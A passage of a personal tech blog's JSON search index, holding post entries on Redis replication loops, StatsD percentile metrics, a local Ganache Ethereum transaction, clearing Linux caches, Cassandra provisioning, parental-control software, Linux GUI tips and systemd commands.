7cbefe20e13fffe4deddc4191479e95a2e9c39e5:2724138480914\n* MASTER \u0026lt;-\u0026gt; SLAVE sync: receiving 1439249094 bytes from master\n# I/O error trying to sync with MASTER: connection lost\n* Connecting to MASTER x.x.x.x:6379\n* MASTER \u0026lt;-\u0026gt; SLAVE sync started\n* Non blocking connect for SYNC fired the event.\n* Master replied to PING, replication can continue...\n* FAIL message received from 485f5d069279fe4690faa4e92a121d85c894050e about 680a7c6ae885094d806206522ce639e3527e9dbf\n# Cluster state changed: fail\n* Partial resynchronization not possible (no cached master)\n* Full resync from master: 7cbefe20e13fffe4deddc4191479e95a2e9c39e5:2724269765637\n# Cluster state changed: ok\n* Clear FAIL state for node 680a7c6ae885094d806206522ce639e3527e9dbf: master without slots is reachable again.\n* MASTER \u0026lt;-\u0026gt; SLAVE sync: receiving 1440022343 bytes from master\n# I/O error trying to sync with MASTER: connection lost\n* Connecting to MASTER x.x.x.x:6379\n* MASTER \u0026lt;-\u0026gt; SLAVE sync started\n* Non blocking connect for SYNC fired the event.\n* Master replied to PING, replication can continue...\n* Partial resynchronization not possible (no cached master)\n* Full resync from master: 7cbefe20e13fffe4deddc4191479e95a2e9c39e5:2724405468825\n* MASTER \u0026lt;-\u0026gt; SLAVE sync: receiving 1440902610 bytes from master\n# I/O error trying to sync with MASTER: connection lost\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eThe offending nodes had lower \u003ccode\u003eclient-output-buffer-limit\u003c/code\u003e value (256mb) which caused the replication process to go into infinite loop. The reason for this is documented in\n\u003ca href=\"https://redis.com/blog/the-endless-redis-replication-loop-what-why-and-how-to-solve-it/\"\u003eRedis blog: The Endless Redis Replication Loop: What, Why and How to Solve It\u003c/a\u003e\u003c/p\u003e","title":"Redis Node moving out of cluster repeatedly"},{"content":"StatsD which is an excellent metrics aggregator, which can send aggregate and send metrics to variety of backends such as Graphite\nOne of the aggregations which StatsD is generate an upper_99 and mean_99 for series of metrics. It is important to understand the differences between two. This is because if you are just measuring mean_99 , you might be missing on certain outliers which are important to understand the overall picture in the system.\nFor example, if the latencies reported by system are\n0 5 10 15 20 25 30 35 40 45 50 55 60 65 70 75 80 85 90 95 --- mean_90 = 42.5 (mean of 0 - 85) upper_90 = 85 If you are plotting mean_90 , in the dashboard to monitor the latencies, it would give a very wrong picture, as the 90th percentile of dataset is actually 85.5. Looking at mean_90, completely distorts the picture.\nHence, always opt for looking at upper_99 metrics while at important system metrics such as latencies.\n","permalink":"https://madhur.co.in/blog/2022/04/16/difference-betweeen-upper90-mean90.html","summary":"\u003cp\u003e\u003ca href=\"https://github.com/statsd/statsd\"\u003eStatsD\u003c/a\u003e which is an excellent metrics aggregator, which can send aggregate and send metrics to variety of backends such as \u003ca href=\"https://graphiteapp.org/\"\u003eGraphite\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eOne of the aggregations which StatsD is generate an upper_99 and mean_99 for series of metrics. It is important to understand the differences between two. This is because if you are just measuring mean_99 , you might be missing on certain outliers which are important to understand the overall picture in the system.\u003c/p\u003e","title":"Difference between upper90 and mean90"},{"content":"Compared to Bitcoin, Ethereum provides a good set of development tools to get up and running with executing transactions in Ethereum blockchain.\nHere is an example of a simple transaction done in ethereum using Ganache\nThe same can easily be modified to point to Infura\nvar Web3 = require(\u0026#39;web3\u0026#39;); var EthereumTransaction = require(\u0026#39;ethereumjs-tx\u0026#39;).Transaction; var web3 = new Web3(\u0026#39;http://127.0.0.1:7545\u0026#39;); var sendingAddress = \u0026#39;0xaB549b951d2ebFd71B506bc14BF743A8879F5130\u0026#39;; var receivingAddress = \u0026#39;0x9E0F9ccA3B3FE51028660798c7bd6455bF9c3899\u0026#39;; web3.eth.getBalance(sendingAddress).then(console.log); web3.eth.getBalance(receivingAddress).then(console.log); var rawTransaction = { nonce: 1, to: receivingAddress, gasPrice: 20000000, gasLimit: 30000, value: 1, data: \u0026#34;0x\u0026#34; } var privateKeySender = \u0026#39;xxxxx\u0026#39;; var privateKeySenderHex = new Buffer(privateKeySender, \u0026#39;hex\u0026#39;) var transaction = new EthereumTransaction(rawTransaction); transaction.sign(privateKeySenderHex); var serializedTransaction = transaction.serialize(); web3.eth.sendSignedTransaction(serializedTransaction); ","permalink":"https://madhur.co.in/blog/2022/03/20/ethereum-transaction-ganache.html","summary":"\u003cp\u003eCompared to \u003ca href=\"https://bitcoin.org/en/\"\u003eBitcoin\u003c/a\u003e, \u003ca href=\"https://ethereum.org/en/\"\u003eEthereum\u003c/a\u003e provides a good set of development tools to get up and running with executing transactions in Ethereum \u003ca href=\"https://www.blockchain.com/explorer\"\u003eblockchain\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eHere is an example of a simple transaction done in ethereum using \u003ca href=\"https://trufflesuite.com/ganache/index.html\"\u003eGanache\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eThe same can easily be modified to point to \u003ca href=\"https://infura.io/\"\u003eInfura\u003c/a\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-javascript\" data-lang=\"javascript\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003eWeb3\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003erequire\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;web3\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003eEthereumTransaction\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003erequire\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;ethereumjs-tx\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"nx\"\u003eTransaction\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003eweb3\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"k\"\u003enew\u003c/span\u003e \u003cspan class=\"nx\"\u003eWeb3\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;http://127.0.0.1:7545\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003esendingAddress\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;0xaB549b951d2ebFd71B506bc14BF743A8879F5130\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003ereceivingAddress\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;0x9E0F9ccA3B3FE51028660798c7bd6455bF9c3899\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nx\"\u003eweb3\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eeth\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003egetBalance\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003esendingAddress\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"nx\"\u003ethen\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003econsole\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elog\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nx\"\u003eweb3\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eeth\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003egetBalance\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ereceivingAddress\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"nx\"\u003ethen\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003econsole\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elog\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003erawTransaction\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nx\"\u003enonce\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nx\"\u003eto\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"nx\"\u003ereceivingAddress\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nx\"\u003egasPrice\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"mi\"\u003e20000000\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nx\"\u003egasLimit\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"mi\"\u003e30000\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nx\"\u003evalue\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nx\"\u003edata\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;0x\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003eprivateKeySender\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;xxxxx\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003eprivateKeySenderHex\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"k\"\u003enew\u003c/span\u003e \u003cspan class=\"nx\"\u003eBuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eprivateKeySender\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;hex\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003etransaction\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"k\"\u003enew\u003c/span\u003e \u003cspan class=\"nx\"\u003eEthereumTransaction\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003erawTransaction\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nx\"\u003etransaction\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003esign\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eprivateKeySenderHex\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003eserializedTransaction\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003etransaction\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eserialize\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nx\"\u003eweb3\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eeth\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003esendSignedTransaction\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eserializedTransaction\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"Execute a transaction in etherum using ganache"},{"content":"Recently, few of our production server running Redis was exhibiting high memory usage. Strangely, redis was consuming very low memory, but the overall system usage was pretty high (\u0026gt; 70 %).\nOne of the things which was common having this issue was that uptime of those systems was relatively higher than others. They were running without reboot for over 3 years.\nThat\u0026rsquo;s when someone indicated that its the buffer memeory which might be full.\nWhat actually happens is that linux borrows memory for disk caching. Once the buffer which is kept in memory is actually written to disk, the buffer memory is not released immediately and instead kept for reuse. Overtime, what can happen is that lot of memory can be occupied in buffer memory.\nThis is not a cause of concern and once the applications demand the memory actually will be given from othe buffer memory pool, however this can be a concern if you have the alerts setup for memory usage. The buffer memory usage is not excluded from OS memory usage calculations and will cause the alarms to trigger.\nThe details of memory can be seen through:\n$ cat /proc meminfo MemTotal: 32291324 kB MemFree: 18888628 kB MemAvailable: 24967520 kB Buffers: 0 kB Cached: 6619108 kB SwapCached: 0 kB Active: 2897464 kB Inactive: 9542004 kB Active(anon): 48104 kB Inactive(anon): 6022228 kB Active(file): 2849360 kB Inactive(file): 3519776 kB Unevictable: 48 kB Mlocked: 48 kB SwapTotal: 16850940 kB SwapFree: 16850940 kB Dirty: 876 kB Writeback: 0 kB AnonPages: 5616548 kB Mapped: 1052904 kB Shmem: 252404 kB KReclaimable: 146152 kB Slab: 339892 kB SReclaimable: 146152 kB SUnreclaim: 193740 kB KernelStack: 22464 kB PageTables: 96620 kB NFS_Unstable: 0 kB Bounce: 0 kB WritebackTmp: 0 kB CommitLimit: 32996600 kB Committed_AS: 22143820 kB VmallocTotal: 34359738367 kB VmallocUsed: 103880 kB VmallocChunk: 0 kB Percpu: 34176 kB HardwareCorrupted: 0 kB AnonHugePages: 1886208 kB ShmemHugePages: 0 kB ShmemPmdMapped: 0 kB FileHugePages: 0 kB FilePmdMapped: 0 kB HugePages_Total: 0 HugePages_Free: 0 HugePages_Rsvd: 0 HugePages_Surp: 0 Hugepagesize: 2048 kB Hugetlb: 0 kB DirectMap4k: 948848 kB DirectMap2M: 18917376 kB DirectMap1G: 13631488 kB Here the SRreclaimable is the memory which can be reclaimed by clearing the buffer memory area.\nThe buffer memory can be clared by givng the command\necho 3 | sudo tee /proc/sys/vm/drop_caches References:\nhttps://www.linuxatemyram.com/ https://serverfault.com/questions/561350/unusually-high-dentry-cache-usage ","permalink":"https://madhur.co.in/blog/2022/03/18/clear-buffer-memory-linux.html","summary":"\u003cp\u003eRecently, few of our production server running Redis was exhibiting high memory usage. Strangely, redis was consuming very low memory, but the overall system usage was pretty high (\u0026gt; 70 %).\u003c/p\u003e\n\u003cp\u003eOne of the things which was common having this issue was that uptime of those systems was relatively higher than others. They were running without reboot for over 3 years.\u003c/p\u003e\n\u003cp\u003eThat\u0026rsquo;s when someone indicated that its the buffer memeory which might be full.\u003c/p\u003e","title":"Clear buffer memory on Linux"},{"content":"If you want to provision a test Apache Cassandra cluster for yourself, I recently created an automated solution using Vagrant and Ansible\nGit clone the repository https://github.com/madhur/vagrant-cassandra-ansible and use vagrant up command to bring up the five Ubuntu 18.0 nodes.\nThis is a fork of original https://github.com/apkan/vagrant-cassandra-ansible, however it had couple of issues:\nIt was using old version of Ubuntu which did not had systemd but instead used upstart Had 3 node cluster ","permalink":"https://madhur.co.in/blog/2022/03/13/setup-cassandra-cluster-using-ansible-vagrant.html","summary":"\u003cp\u003eIf you want to provision a test \u003ca href=\"https://cassandra.apache.org/_/index.html\"\u003eApache Cassandra\u003c/a\u003e cluster for yourself, I recently created an automated solution using \u003ca href=\"https://www.vagrantup.com/\"\u003eVagrant\u003c/a\u003e and \u003ca href=\"https://www.ansible.com/\"\u003eAnsible\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eGit clone the repository \u003ca href=\"https://github.com/madhur/vagrant-cassandra-ansible\"\u003ehttps://github.com/madhur/vagrant-cassandra-ansible\u003c/a\u003e and use \u003ccode\u003evagrant up\u003c/code\u003e command to bring up the five Ubuntu 18.0 nodes.\u003c/p\u003e\n\u003cp\u003eThis is a fork of original \u003ca href=\"https://github.com/apkan/vagrant-cassandra-ansible\"\u003ehttps://github.com/apkan/vagrant-cassandra-ansible\u003c/a\u003e, however it had couple of issues:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eIt was using old version of Ubuntu which did not had \u003ca href=\"https://systemd.io/\"\u003esystemd\u003c/a\u003e but instead used \u003ca href=\"https://upstart.ubuntu.com/\"\u003eupstart\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHad 3 node cluster\u003c/li\u003e\n\u003c/ul\u003e","title":"Setup Cassandra Cluster using Ansible and Vagrant"},{"content":"With this pandemic and kids taking classes online from their devices such as Laptops and PCs, it is important that kids do not spend too much spend online and use PCs and laptops only for learning purposes.\nMy own kid had started playing online games teaming up with his school friends over Google Meet / Zoom.\nThese online games can be so addictive that having a conversation or arguing with your child does not work, as they crave for the dopamine hits which these online gaming gives.\nIn this post, I will tell you my experience of researching solutions to this problem:\nHave a frank conversation with your kid Have a frank conversation about your kid of the dangers of excessive gaming and become addicted to it. There is a difference between playing for couple of hours just for re-creation versus craving for classes to become over and jump onto online gaming.\nObserve, if he is just playing for recreation or there are signs of addiction. Signs of addiction include having food / water at computer table and loss of interests in other activities such as Sports, friends etc.\nImpose Parental control softwares Tell your kid that you are imposing parental control softwares and that is for his benefit.\nThe kind of software you are using depends on the Operating System. For windows, I found it helpful to use QuStudio\nEven with the free version, you can block websites very easily and infact, I prefer to have a whitelist mode where you can just enable specific websites which are needed for kids education and block everything else.\nInstall Linux Apart from freeing distraction from Linux, I wanted my kid to have genuine interest in Computers, Technology and Coding. To enable that interest and curiosity, its much better to have your kid work on Linux rather than Windows. Linux is much more customizable than Windows and somehow I feel is better choice for kids to start working on.\nFor start, you can give your kids Zorin OS Education edition which can be freely downloaded and installed. It comes with lot of educational softwares preinstalled.\nOther than that, Fedora Labs Astronomy edition and vanilla Linux Mint are preferred for beginners.\nEven with Linux, its best to have parental control softwares.\nFor linux, I found it best to have E2guardian Web filtering and Privoxy. Once installed, you need to just enable proxy in your browser to enable them.\nThe list of blocked sites can simply be entered in /etc/e2guardian/lists/bannedsitelist and restart the service using\nsystemctl restart e2guardian to take effect.\nMake sure that you don\u0026rsquo;t give sudo access to your kid to enable him to override these settings. Kids these days are very smart.\n","permalink":"https://madhur.co.in/blog/2022/03/06/parental-control-softwares.html","summary":"\u003cp\u003eWith this pandemic and kids taking classes online from their devices such as Laptops and PCs, it is important that kids do not spend too much spend online and use PCs and laptops only for learning purposes.\u003c/p\u003e\n\u003cp\u003eMy own kid had started playing online games teaming up with his school friends over Google Meet / Zoom.\u003c/p\u003e\n\u003cp\u003eThese online games can be so addictive that having a conversation or arguing with your child does not work, as they crave for the dopamine hits which these online gaming gives.\u003c/p\u003e","title":"Parental Control Softwares for Windows and Linux"},{"content":"Show hidden files in file chooser dialog boxes By Default, Linux Desktop enviornments such as Gnome, Cinnamon, Xfce do not display hidden files in file chooser dialog boxes. I found it to be really inconvienent.\nThe fix depends on the GTK version used by the application.\nFor GTK 3.0\ngsettings set org.gtk.Settings.FileChooser show-hidden true For GTK 2.0, enter the following in ~/.config/gtk-2.0/gtkfilechooser.ini\nShowHidden=true Setting up default session for User If the user has multiple DE\u0026rsquo;s installed such as Gnone, Xfce, Cinnamon etc, the default environment is configured in\n/var/lib/AccountsService/users [com.redhat.AccountsServiceUser.System] id=\u0026#39;centos\u0026#39; version-id=\u0026#39;8\u0026#39; [org.freedesktop.DisplayManager.AccountsService] BackgroundFile=\u0026#39;/home/madhur/Desktop/1r1kk9qi00961.png\u0026#39; [User] Language=en_US.utf8 Session=xfce XSession=bspwm Icon=/usr/share/cinnamon/faces/2_10.png SystemAccount=false This is atleast the case for Redhat based systems such as Fedora.\nIf you want the user to get the option to choose the session before logging in, better install the greeter such as lightdm-gtk-greeter for LightDM display manager. There are others available similarly for GDM display manager\nThere are various suggestions to user ~/.xinitrc . Note that this file is not used in case of interactive graphical login. It is only used when starting from terminal such as startx\n","permalink":"https://madhur.co.in/blog/2022/02/27/linux-gui-tips.html","summary":"\u003ch3 id=\"show-hidden-files-in-file-chooser-dialog-boxes\"\u003eShow hidden files in file chooser dialog boxes\u003c/h3\u003e\n\u003cp\u003eBy Default, Linux Desktop enviornments such as Gnome, Cinnamon, Xfce do not display hidden files in file chooser dialog boxes. I found it to be really inconvienent.\u003c/p\u003e\n\u003cp\u003eThe fix depends on the GTK version used by the application.\u003c/p\u003e\n\u003cp\u003eFor GTK 3.0\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003egsettings set org.gtk.Settings.FileChooser show-hidden true\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eFor GTK 2.0, enter the following in \u003ccode\u003e~/.config/gtk-2.0/gtkfilechooser.ini\u003c/code\u003e\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eShowHidden=true\n\u003c/code\u003e\u003c/pre\u003e\u003ch3 id=\"setting-up-default-session-for-user\"\u003eSetting up default session for User\u003c/h3\u003e\n\u003cp\u003eIf the user has multiple DE\u0026rsquo;s installed such as Gnone, Xfce, Cinnamon etc, the default environment is configured in\u003c/p\u003e","title":"Linux GUI Tips"},{"content":"Find the time taking services during system boot systemd-analyze blame 7.239s libvirtd.service 4.528s systemd-udev-settle.service 2.829s dracut-initqueue.service 2.043s plymouth-quit-wait.service 1.541s vboxdrv.service 1.435s udisks2.service 1.149s sssd.service 1.066s gssproxy.service 1.065s zookeeper.service 632ms lvm2-monitor.service 411ms lightdm.service 410ms systemd-logind.service 238ms initrd-switch-root.service 172ms accounts-daemon.service 137ms polkit.service 121ms sysroot.mount 106ms gpd.service 99ms systemd-fsck@dev-disk-by\\x2duuid-BE47\\x2d662D.service 92ms systemd-tmpfiles-clean.service 82ms upower.service 81ms rtkit-daemon.service 79ms chronyd.service 79ms lm_sensors.service Find total time to boot systemd-analyze Startup finished in 8.359s (firmware) + 5.486s (loader) + 2.499s (kernel) + 3.289s (initrd) + 14.384s (userspace) = 34.018s graphical.target reached after 14.380s in userspace Find the dependencies of service systemctl list-dependencies --reverse plymouth-quit-wait.service plymouth-quit-wait.service ● └─multi-user.target ● └─graphical.target Find the reverse dependencies of service systemctl list-dependencies docker.service docker.service ● ├─containerd.service ● ├─docker.socket ● ├─system.slice ● ├─network-online.target ● └─sysinit.target ● ├─dev-hugepages.mount ● ├─dev-mqueue.mount ● ├─dracut-shutdown.service ● ├─import-state.service ● ├─iscsi-onboot.service ● ├─kmod-static-nodes.service ● ├─ldconfig.service ● ├─loadmodules.service ● ├─lvm2-lvmpolld.socket ● ├─lvm2-monitor.service ● ├─multipathd.service ● ├─nis-domainname.service ● ├─plymouth-read-write.service ● ├─plymouth-start.service ● ├─proc-sys-fs-binfmt_misc.automount ● ├─selinux-autorelabel-mark.service ● ├─sys-fs-fuse-connections.mount ● ├─sys-kernel-config.mount ● ├─sys-kernel-debug.mount ● ├─systemd-ask-password-console.path ● ├─systemd-binfmt.service ● ├─systemd-firstboot.service ● ├─systemd-hwdb-update.service ● ├─systemd-journal-catalog-update.service ● ├─systemd-journal-flush.service ● ├─systemd-journald.service ● ├─systemd-machine-id-commit.service ● ├─systemd-modules-load.service ● ├─systemd-random-seed.service ● ├─systemd-sysctl.service ● ├─systemd-sysusers.service ● ├─systemd-tmpfiles-setup-dev.service ● ├─systemd-tmpfiles-setup.service ● ├─systemd-udev-trigger.service ● ├─systemd-udevd.service ● ├─systemd-update-done.service ● ├─systemd-update-utmp.service ● ├─cryptsetup.target ● ├─local-fs.target ● │ ├─-.mount ● │ ├─boot-efi.mount ● │ ├─boot.mount ● │ ├─ostree-remount.service ● │ └─systemd-remount-fs.service ● └─swap.target Find Active Services systemctl list-units --type=service --state=active Find Running Services systemctl list-units --type=service --state=running Find Enabled Units systemctl list-unit-files --state=enabled Find Loaded Services systemctl list-units --type=service --state=loaded View last boot log journalctl -b View errors in services journalctl -xe View kernel logs journalctl -k ","permalink":"https://madhur.co.in/blog/2022/02/20/useful-systemd-commands.html","summary":"\u003ch3 id=\"find-the-time-taking-services-during-system-boot\"\u003eFind the time taking services during system boot\u003c/h3\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003esystemd-analyze blame\n\n7.239s libvirtd.service\n4.528s systemd-udev-settle.service\n2.829s dracut-initqueue.service\n2.043s plymouth-quit-wait.service\n1.541s vboxdrv.service\n1.435s udisks2.service\n1.149s sssd.service\n1.066s gssproxy.service\n1.065s zookeeper.service\n632ms lvm2-monitor.service\n411ms lightdm.service\n410ms systemd-logind.service\n238ms initrd-switch-root.service\n172ms accounts-daemon.service\n137ms polkit.service\n121ms sysroot.mount\n106ms gpd.service\n99ms systemd-fsck@dev-disk-by\\x2duuid-BE47\\x2d662D.service\n92ms systemd-tmpfiles-clean.service\n82ms upower.service\n81ms rtkit-daemon.service\n79ms chronyd.service\n79ms 